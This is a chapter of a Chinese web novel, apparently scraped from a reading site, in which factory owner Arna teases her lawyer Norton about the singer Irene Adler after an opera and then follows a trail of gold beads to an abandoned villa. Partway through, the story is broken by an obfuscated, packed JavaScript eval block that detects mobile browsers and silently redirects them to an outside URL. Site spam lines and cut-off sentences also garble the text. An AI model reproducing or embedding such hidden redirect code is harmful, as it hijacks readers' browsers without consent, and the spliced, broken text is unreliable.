第 216 章 金粒

作品:《在伦敦当工厂主的快乐日子[综名著]

    第216章金粒


    【捡走!】


    随着歌剧最后一个令人难忘的音符逐渐消失在寂静中,剧院爆发出了一阵欢呼。


    越来越多的掌声响了起来,戴着丝绸手套的观众疯狂鼓掌,逐渐亮起的灯光照亮了布满泪痕的脸和欣喜若狂的笑容。


    台上的女主演优雅地行了个鞠躬礼,和同伴站在了一起、并肩举起双臂,她的卷发在光线下闪闪发光。


    当艾琳走上前去,单独鞠躬时,掌声变得更热烈了,不断有人呼喊着她的名字,许多束玫瑰从观众区朝着舞台飞去,落在她的面前。


    除了配合地拍着手喝彩的阿尔娜之外,诺顿的手也拍得很响亮。


    既是因为真诚的钦佩,也因为沉浸在歌剧中的情绪,他的袖子现在湿湿的,眼角还有点泪水。


    虽然按照阿尔娜的观察,这家伙皮肤黝黑、带着点小胡子,实在很难看出他的脸上有没有红眼圈。


    她正仔细观察着,试图看出粗糙的诺顿的更多细节,就感受到伊丽莎白用手肘戳了她一下。


    “老板,在浪潮般的掌声掩护下,伊丽莎白低声说,“要不要在你的律师鼓掌到手腕脱臼之前,拯救一下他?这完全是活力过剩。


    她戏谑地眨了眨眼,指了指边上一无所觉、还在朝着下面一个劲看的诺顿。


    站在舞台上的艾琳则是仰起了脸,视线扫过几个楼上的包厢,最终认出了那个她特意和剧院经理打了招呼、让他帮忙留出来的位置。


    她朝着包厢的位置挑了挑眉,就再次行了个礼,带着神秘的微笑消失在了天鹅绒的幕布后面。


    当人群开始慢吞吞地走向出口时,诺顿紧张而细致地整理着自己的袖口和衣领,又拍了拍自己的衣服下摆。


    “呃……先把社交规则放到一边,他嘟囔,“能请你们允许我单独出去一下吗?很快回来,就只是……工作上的事情。


    伊丽莎白眨了眨眼,调侃道,“去后台吗?


    诺顿的手指在调整领巾的时候被伊丽莎白的话弄得有些慌乱,一阵红晕从他的脖子上蔓延开来,随后他猛地呼出了一口气。


    “其实,他嘟囔着,带着难以掩饰的期待望向空无一人的舞台,“是她——也就是艾德勒小姐——表示希望邀请你们共进晚餐。她是……我的朋友。


    他的目光扫向艾萨斯,以为这家伙会露出一副困惑和震惊的表情,结果却发现他像个刚发现隐藏糖果的孩子。


    “我明白了,这位大工厂主旁若无人地凑到了伊丽莎**的耳边,和她窃窃私语,“我发现了一个特别大的秘密。


    伊丽莎白配合地问道,“什么秘密?


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    “那就是……阿尔娜笃定地说,把脑内的思路和面板上可疑的两个诺顿结合在了一起,“之前参加我们马车大赛、并且获得冠军的,一定是艾琳.艾德勒。她的声音听起来很熟悉!


    好听的声音她能记住一段时间,虽然不一定每次都听完具体的内容。


    除此之外,艾琳邀请她的理由也很明显了。是上次借马车给她的支线任务奖励,以及欺骗她的赔礼!


    瞠目结舌的伊丽莎白:“……什么?


    她还以为老板要说的是艾德勒小姐和诺顿先生的关系匪浅,觉得阿尔娜果然在别人的感情事上格外敏锐。结果居然是在讨论马车大赛的冠军?


    现在看来,艾德勒小姐居然是借用了诺顿先生的身份去参赛的吗?她今天发现的、女扮男装追求自由的案例是不是有点太密集了?


    诺顿脸上的表情不断变化,先是警惕和担忧,然后是难以置信,紧接着是无奈的绝望。


    他下意识反驳,“这太荒谬了,冠军显然是……


    “艾琳,阿尔娜愉快地补充,“怪不得我觉得你今天怪怪的。而且你明显没她好看。


    她好奇地问,“所以说你喜欢她?


    感觉自己的脸热的出奇的诺顿:“那是……这太轻浮了,说实在的,你不能就这么……哎!


    他最后耷拉了下来,“该死的歌剧。关于这件事,考虑到艾德勒小姐的声誉,我恳请你们保密。


    因为合作,他们后续肯定会熟稔起来,经常来往,或早或晚都会发现不对的地方,比如说他虽然会驾马车,但速度完全没那么快,还得担心速度加快会不会太颠簸了,还有更多的细微差别。


    不过诺顿现在倒是不担心艾萨斯揭穿艾琳的事情了。


    按照伊丽莎**和艾萨斯刚刚的表现来看,他觉得在艾萨斯制造厂工作的女性管理层显然不止她一个,他说不定都没想到这是个能拿来威胁人的点,更别说真的拿这个要挟他们了。


    伊丽莎白忍不住笑了起来,“所以说,真正的诺顿先生没有参加马车赛跑、体验过我们的‘死亡陷阱’,只是计划在法庭上为它辩护?


    “总之,无论怎么样,我必须向我们崇敬的女低音献上敬意,诺顿脱口而出,低头看了一眼表,“哦不,时间……


    他已经向着过道冲了过去,“批评家们总是坚持要去她的后台采访,对了,还有人应该确保他们不会曲解她的意思!


    这个借口一点也站不住脚。


    “需要我帮忙吗?阿尔娜热情地说,“我可以帮你拦住那些人……


    “不了,谢谢你,朋友,诺顿满脸通红,“十五分钟!或者二十分钟,如果


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    采访的人太多的话……我只是去简单聊两句。”


    他的手胡乱地在空中摆了一下“总之


    说着他逃走了非常不体面地挤过了一群女士和她们的仆人急匆匆地点头致意后就朝着后台的位置冲了过去。


    伊丽莎白转头看向阿尔娜有些好笑地说“真是品德高尚是吧?”


    她顿了一下“老板要和我打赌一下吗?我觉得等他回来了……估计连自己姓什么都忘记了。”


    “很有可能”阿尔娜严肃地说“所以说就不赌了。”


    她的钱没那么好骗!


    “是啊你说得对”伊丽莎白无奈地说“难怪议会还没有驱逐你老板骗你需要一些本领。我们要先去休息室喝点茶吗还是等律师回来?”


    她停顿一下把话说得隐晦了一些问阿尔娜是去女休息室还是说去男休息室“打算去哪个休息室?大楼梯边上的有着更好的镜子但是东翼那边的没那么拥挤……”


    伊丽莎白把后面的话咽了下去震惊地看见阿尔娜自然地蹲下了身用戴着手套的手指在剧院豪华的座椅下摸来摸去。


    她刚刚的思路立刻烟消云散了伸手试图把她拉起来免得两人因为失


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327725|179706||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    礼被赶出去“老板你东西掉了吗?需要我请人过来帮忙找一下……”


    阿尔娜乖乖被伊丽莎白拉起来然后胜利地挺直了腰身“我发现了一个东西!”


    一粒不到豌豆大小、闪闪发光的金球正夹在她的拇指和食指间。


    伊丽莎白皱着眉“……什么?”


    她凑近了一些伸手捏了一下意识到它居然是真的金子“别告诉我你打算一整晚都在这里挖宝。”


    估计是谁的衣服上掉下来的或者是用作装饰的金链绳子坏了才撒得到处都是也以为太小了没人注意到如果不是阿尔娜发现了可能最后会被这里的清洁人员发现。


    她吸了口气“把东西交给这里的侍应生吧然后我们可以去休息一会我们等会还要在晚餐的时候谈合同的具体条款。”


    “这归我了”阿尔娜立刻说道把小金球揣进了自己的兜里。


    紧接着她注意力被出口附近另一道光芒吸引住了第二粒金子在剧院的地毯上朝她嘲弄地眨了眨眼。


    阿尔娜毫不犹豫地把这枚竟敢嘲讽她的金子塞进了口袋里和另一颗放在了一起。


    “……艾萨斯”伊丽莎白微微抬高声音又怕引来剧院的工作人员“你不会是认真的吧?”


    在这个地方挖宝?天知道这下面有多少脏东西。


    但阿尔娜已经毫不畏惧地大步向


    你的朋友正在书荒,快去帮帮他吧


    前了,开始向一张半废弃的海报发起冲锋。


    “不用管我,”她还不忘朝着伊丽莎白挥挥手,“你先去休息室,喝喝茶,休息一下……”


    伊丽莎白捏了捏鼻梁。


    “如果你被捕了,”她跟在阿尔娜的后面说道,“我会告诉治安官我和你完全不认识,知道吗?”


    “十分钟后我就回来,”阿尔娜说着,已经扩大了小金球的搜索范围,朝着侧边被人打开的小门走去,“再见伊丽莎白,我肯定会回来吃晚餐的。”


    伊丽莎白看着阿尔娜从侧门消失,深深吸了口气。


    “十分钟,”她对着空气自言自语,“如果你到时候还没回来,我就喊上诺顿一起去找你。”


    一位路过的引座员朝伊丽莎白投来深深关切的目光,伊丽莎白若无其事地看了过去,朝他露出了微笑,然后转身朝着女士休息室走去。


    不过她最后还是看了一眼那扇半掩着的门。


    按照南希和其他人告诉她的事情来看,如果遇到歹徒的话,谁受苦还很难说呢。


    愿上帝保佑他们吧。


    阿尔娜还在往外走,时不时通过这些小金粒判断着方向。


    暮色渐深,她穿梭在剧院错综复杂的后街,口袋里渐渐堆满了闪闪发光的小东西。


    越是远离剧院的灯火,世界就越安静,直到阿尔娜最终站在了一栋破败的独栋别墅前面。


    别墅的窗户被木板封闭了,门廊被肆无忌惮生长的常青藤吞噬,显然这里已经很久没人住了。


    在一片昏暗中,阿尔娜蹲下身来,在覆盖着苔藓的地板上搜寻了一番,果然发现了一粒金子。


    她握住了那枚金子,本着绝不白来的原则,直起身推了推门,打算进去逛逛。


    随着生锈的门铰链发出吱呀一声,门朝内打开了。


    ————————!!————————


    明天九点见!